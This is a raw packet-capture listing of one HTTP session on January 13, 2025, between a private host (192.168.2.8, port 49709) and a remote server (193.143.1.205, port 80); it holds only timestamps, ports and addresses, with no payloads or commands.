Jan 13, 2025 14:57:01.991827965 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991873980 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.991974115 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991986036 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991997957 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992010117 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992016077 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.992057085 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.992235899 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992248058 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992259979 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992284060 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.992290974 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992302895 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992314100 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992325068 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.992345095 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.992405891 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992418051 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992445946 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992463112 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.992491007 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992502928 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992515087 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992525101 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.992526054 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992538929 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992558956 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.992583990 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.992799997 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992814064 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992825031 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992836952 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992846012 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.992850065 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992861032 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992872953 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992880106 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.992885113 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.992891073 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.992921114 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.993125916 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993136883 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993150949 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993163109 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993174076 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993176937 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.993185997 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993197918 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993200064 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.993227005 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.993441105 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993453026 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993465900 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993477106 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993490934 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.993521929 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.993580103 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993597984 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993609905 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993616104 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.993621111 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993633032 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993643045 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993645906 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.993654966 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993664980 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993665934 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.993676901 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993689060 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993699074 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.993700981 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993711948 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993712902 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.993722916 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.993740082 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.993782997 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.996196032 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996217012 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996280909 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.996372938 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996390104 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996402025 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996413946 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996424913 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996428013 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.996436119 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996447086 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996457100 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996459007 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.996469021 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996480942 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996484041 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.996494055 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996499062 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.996507883 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996521950 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.996546030 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.996824026 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996928930 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996948957 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996961117 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996967077 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.996973038 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996984959 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.996995926 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.997003078 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.997009039 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.997029066 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.997047901 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.997283936 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.006818056 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.006830931 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.006841898 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.006854057 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.006867886 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.006879091 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.006880999 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.006891966 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.006948948 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.006948948 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.016797066 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.016880989 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.016892910 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.016906023 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.016916990 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.016921997 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.016928911 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.016941071 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.016944885 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.016987085 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.025346994 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.052158117 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052172899 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052185059 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052205086 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.052229881 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.052320957 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052334070 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052345037 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052356005 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052366972 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052377939 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052381039 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.052391052 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052401066 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052408934 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.052412033 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052423000 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052429914 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.052440882 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052448034 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.052453041 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052462101 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.052472115 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052483082 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052490950 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.052495003 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052505016 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052515030 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.052516937 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.052537918 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.082077026 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082132101 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.082133055 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082143068 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082161903 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082173109 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082190990 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082191944 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.082202911 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082216024 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082220078 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.082226038 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082269907 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.082554102 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082571983 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082582951 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082592964 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082607031 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082618952 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082613945 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.082631111 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.082633018 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082643986 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082652092 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.082731962 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.082766056 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082777023 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082808971 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.082859039 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082952023 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082963943 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082974911 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082984924 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.082999945 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083003044 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083014011 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083029032 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083030939 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083041906 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083054066 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083055019 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083065987 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083066940 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083080053 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083090067 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083091021 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083101988 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083121061 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083165884 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083172083 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083183050 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083194017 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083204985 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083215952 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083215952 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083221912 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083233118 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083249092 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083251953 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083264112 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083275080 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083276033 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083301067 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083303928 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083323002 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083327055 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083348989 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083360910 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083364010 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083400965 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083404064 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083415985 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083427906 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083440065 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083446026 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083477020 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083549023 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083597898 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083609104 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083626032 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083669901 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083687067 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083698988 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083708048 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083710909 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083728075 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083739042 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083745956 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083780050 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083787918 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083800077 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083811045 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083822012 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083823919 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083832979 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083843946 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083848000 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083856106 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083867073 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083878040 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083878994 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083900928 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083926916 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.083971024 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083982944 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.083993912 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.084005117 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.084016085 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.084017992 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.084026098 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.084037066 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.084045887 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.084064007 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.087138891 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.087151051 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.087162971 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.087173939 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.087186098 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.087192059 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.087197065 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.087243080 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.097934008 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.097953081 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.097965002 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.097975969 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.097978115 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.098005056 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.113181114 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113193035 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113239050 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.113308907 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113318920 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113342047 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.113389015 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113428116 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.113475084 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113487005 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113504887 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113517046 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113523960 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.113528967 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113543034 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113557100 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.113560915 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113579988 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.113584995 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113595009 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113605976 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113611937 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.113616943 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113629103 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.113646984 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.113672972 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.146425962 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.146476984 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.146496058 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.146514893 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.146548986 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.146562099 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.146574020 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.146584988 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.146595955 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.146601915 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.146610975 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.146614075 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.146620989 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.146665096 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.180259943 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185059071 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185245991 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185262918 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185275078 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185286045 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185293913 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:02.185297012 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185308933 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185323954 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:02.185338974 CET	80	49709	193.143.1.205	192.168.2.8
